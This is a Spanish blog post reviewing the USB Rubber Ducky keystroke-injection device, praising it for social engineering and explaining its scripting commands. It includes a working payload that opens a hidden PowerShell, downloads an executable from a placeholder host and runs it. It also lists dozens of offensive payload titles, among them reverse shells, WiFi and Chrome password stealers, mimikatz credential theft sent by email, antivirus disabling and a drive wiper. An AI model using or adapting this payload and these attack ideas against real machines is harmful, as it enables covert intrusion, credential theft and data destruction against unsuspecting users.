Jugando con el USB Rubber Ducky
Hace una semana me llegó a casa mi nuevo USB Rubber Ducky y estos días he estado jugando un poco con él, a continuación os explicaré mis impresiones y os diré cosas que tener en cuenta a la hora de usarlo así como donde comprarlo y os liberaré unos cuantos payloads para poder hacer pruebas con él.
Este USB simula ser un teclado, así los PC's lo reconocerán como un dispositivo de confianza y así poder aplicar payloads sin ningún tipo de sospecha del ordenador en cuestión. Usa un lenguaje propio muy sencillo de comprender. Entre sus características encontramos:
Es exactamente igual que una unidad USB Flashdrive, lo que hace confiar al usuario a la hora de realizar la ingeniería social.
Viene con un lector de tarjetas SD para poder cargar los payloads.
Escribe 1000 palabras por segundo, lo que hará que en poco más de 6 segundos tengamos toda la información de un PC en el simple gesto de enchufar y desenchufar.
Viene con un LED que nos avisa si el Payload está bien configurado para funcionar o, por el contrario, tendremos que agregar más argumentos para hacerlo funcional.
Tiene un botón para cargar los Payloads por si con el simple gesto de enchufar y desenchufar no basta.También es importante mencionar que viene con una tarjeta micro SD de 128 MB para poder cargar los payloads, tamaño más que suficiente si lo único que queremos es cargar la información del PC (siempre que no sea demasiado grande). En caso contrario deberíamos agregarle otra tarjeta de más tamaño.
Su lenguaje, como he dicho, es muy sencillo. Con estos simples comandos podremos utilizarlo para lo que queramos:
DEFAULT_DELAY
o DEFAULTDELAY
: define los milisegundos que tardará en ejecutar las órdenes.
DELAY
: igual que el anterior, pero personalizado.
STRING
Y por último, las keys especiales para cada sistema. Para ello deberemos conocer los comandos del terminal del sistema en cuestión.Ejemplo de Payload para descargar y ejecutar un archivo:
GUI R
DELAY 100
STRING powershell -windowstyle hidden (new-object System.Net.Web.client).DownloadFile('http://example.com/bob.old',%TEMP%\bob.exe);Start-Process "%TEMP%\bob.exe"
ENTER
Payloads disponibles:
Payload – Hello World
Payload – WiFi password grabber
Payload – Basic Terminal Commands Ubuntu
Payload – Information Gathering Ubuntu
Payload – Hide CMD Window
Payload – Netcat-FTP-download-and-reverse-shell
Payload – Wallpaper Prank
Payload – YOU GOT QUACKED!
Payload – Reverse Shell
Payload – Fork Bomb
Payload – Utilman Exploit
Payload – WiFi Backdoor
Payload – Non-Malicious Auto Defacer
Payload – Lock Your Computer Message
Payload – Ducky Downloader
Payload – Ducky Phisher
Payload – FTP Download / Upload
Payload – Restart Prank
Payload – Silly Mouse, Windows is for Kids
Payload – Windows Screen rotation hack
Payload – Powershell Wget + Execute
Payload – mimikatz payload
Payload – MobileTabs
Payload – Create Wireless Network Association (AUTO CONNECT) PINEAPPLE
Payload – Retrieve SAM and SYSTEM from a live file system
Payload – Ugly Rolled Prank
Payload – XMAS
Payload – Pineapple Assocation (VERY FAST)
Payload – WiFun v1.1
Payload – MissDirection
Payload – Remotely Possible
Payload – Batch Wiper/Drive Eraser
Payload – Generic Batch
Payload – Paint Hack
Payload – Local DNS Poisoning
Payload – Deny Net Access
Payload – RunEXE from SD
Payload – Run Java from SD
Payload – OSX Root Backdoor
Payload – OSX User Backdoor
Payload – OSX Local DNS Poisoning
Payload – OSX Youtube Blaster
Payload – OSX Photo Booth Prank
Payload – OSX Internet Protocol Slurp
Payload – OSX Ascii Prank
Payload – OSX iMessage Capture
Payload – OSX Grab Minecraft Account Password and upload to FTP
Payload – OS X Wget and Execute
Payload – OSX Passwordless SSH access (ssh keys)
Payload – MrGray’s Rubber Hacks
Payload – Copy File to Desktop
Payload – Youtube Roll
Payload – Disable AVG 2012
Payload – Disable AVG 2013
Payload – EICAR AV test
Payload – Download mimikatz, grab passwords and email them via gmail
Payload – Hotdog Wallpaper
Payload – Android 5.x Lockscreen
Payload – Chrome Password StealerDónde comprar un USB Rubber Ducky
Comprar original en Hak5
Montarlo tú mismo por 3$---
Fuentes
http://picateshackz.com/2016/02/list-of-top-rubber-ducky-usb-payloads.html